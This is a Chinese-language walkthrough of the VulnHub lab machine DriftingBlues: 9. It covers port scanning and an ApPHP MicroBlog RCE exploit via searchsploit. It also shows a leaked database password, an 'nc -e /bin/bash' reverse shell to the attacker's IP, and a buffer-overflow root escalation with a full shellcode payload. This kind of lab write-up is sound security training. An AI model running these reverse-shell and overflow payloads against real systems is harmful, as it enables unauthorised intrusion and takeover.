[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)

Kali的IP地址:192.168.127.139 

靶机的IP地址:192.168.127.151

目录

一、信息搜集

1.1、扫描主机口

 1.2、扫描主机端口

1.3、访问端口

二、漏洞挖掘

2.1、漏洞库搜索

 2.2、漏洞挖掘

三、漏洞利用

3.1、获取用户的数据库用户名、密码

3.2、反弹shell

3.3、获取第一个flag

四、权限提升

4.1、缓冲区溢出提权

总结:


一、信息搜集

1.1、扫描主机口

[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第1张图片

 1.2、扫描主机端口

[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第2张图片

[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第3张图片

发现开放了80(http)、111、34929端口,一个个访问看看

1.3、访问端口

先访问80端口,发现就是正常的一个网页页面,右下角有一个登陆页面,,直接查看源代码 发现了ApPHP MicroBlog 版本 为 v.1.0.1

[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第4张图片

 [渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第5张图片

[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第6张图片

 其他端口没有发现其他的东西,接下来就是漏洞的挖掘

二、漏洞挖掘

2.1、漏洞库搜索

看博客大佬都是直接在kali本地漏洞库搜索,我们也尝试一下看看,发现还真有

[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第7张图片

 2.2、漏洞挖掘

使用命令将利用的脚本复制到本地:searchsploit -m php/webapps/33070.py

使用python2 执行脚本:python2 ./33070.py http://192.168.127.151

[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第8张图片

[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第9张图片

如图所示,成功拿到普通shell权限

三、漏洞利用

3.1、获取用户的数据库用户名、密码

得到 shell 之后,会展示出数据库配置文件
用户名:clapton
密码:yaraklitepe

此时思路如下:看看家目录有无此用户,有的话可以尝试登录 (这里还可以通过/etc/passwd文件中发现存在普通用户clapton)

发现存在此用户名跟数据库名字一样,但是之前的端口扫描发现22端口未开放,那我们就直接切换用户
先看看有没有nc

3.2、反弹shell

在 kali 开启 nc 监听:nc -lvp 6666

使用nc反弹shell:nc -e /bin/bash 192.168.127.139 6666

注意:我自己试了一下,nc -e /bin/nc 192.168.127.139 6666 命令也可以反弹shell

成功获取反弹shell后使用命令交互shellpython -c 'import pty;pty.spawn("/bin/bash")'

切换用户:su clapton
[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第10张图片

3.3、获取第一个flag

 

 同时在当前目录发现note.txt,查看内容发现相关提示

[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第11张图片

[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第12张图片 

 

 提示内容为缓冲区溢出

四、权限提升

4.1、缓冲区溢出提权

查看一下当前文件

[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第13张图片

 

将input文件下载到本地,使用checksec工具检查文件发现该文件未启用任何保护措施,如图: 

[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第14张图片

发现没有,先禁用 ASLR,然后在 gdb 中加载二进制文件:

[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第15张图片 

然后用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量:

 

[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第16张图片

 

 将生成的字符串用命令 r 在 gdb 中运行二进制文件:

[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第17张图片

在 0x41376641 处得到了错误,计算一下偏移量: 

计算出偏移量是 171,用 python 构造字符串:

[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第18张图片 

可以用,查看ESP寄存器的值

[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第19张图片 

用esp 寄存器的 0xbf970c10替换 4 个 B,因为是小字节序,倒过来写,构造 payload:

for i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "\x10\x0c\x97\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done
 

成功提权,然后在root目录下找到flag2 

[渗透测试学习靶机08] vulnhub 靶场 DriftingBlues: 9 (final)_第20张图片

总结:

本节通过访问网站目录扫描等方式收集信息,进而获取网站系统版本信息,之后通过搜索对应漏洞,完成 RCE 漏洞利用获取 shell,然后通过信息收集获取用户 shell,最后自己构造payload 使用缓冲区溢出漏洞溢出提权。前面获取 shell 比较简单,难点在于最后提权。

  1. 信息搜集
  2. 漏洞挖掘获取敏感文件
  3. searchsploit 工具的用法
  4. RCE 漏洞利用
  5. 自己构造 payload 缓冲区漏洞提权
     

 本文参考:hirak0

你可能感兴趣的:(渗透测试,vulnhub靶机,学习,安全,网络安全,测试工具,web安全)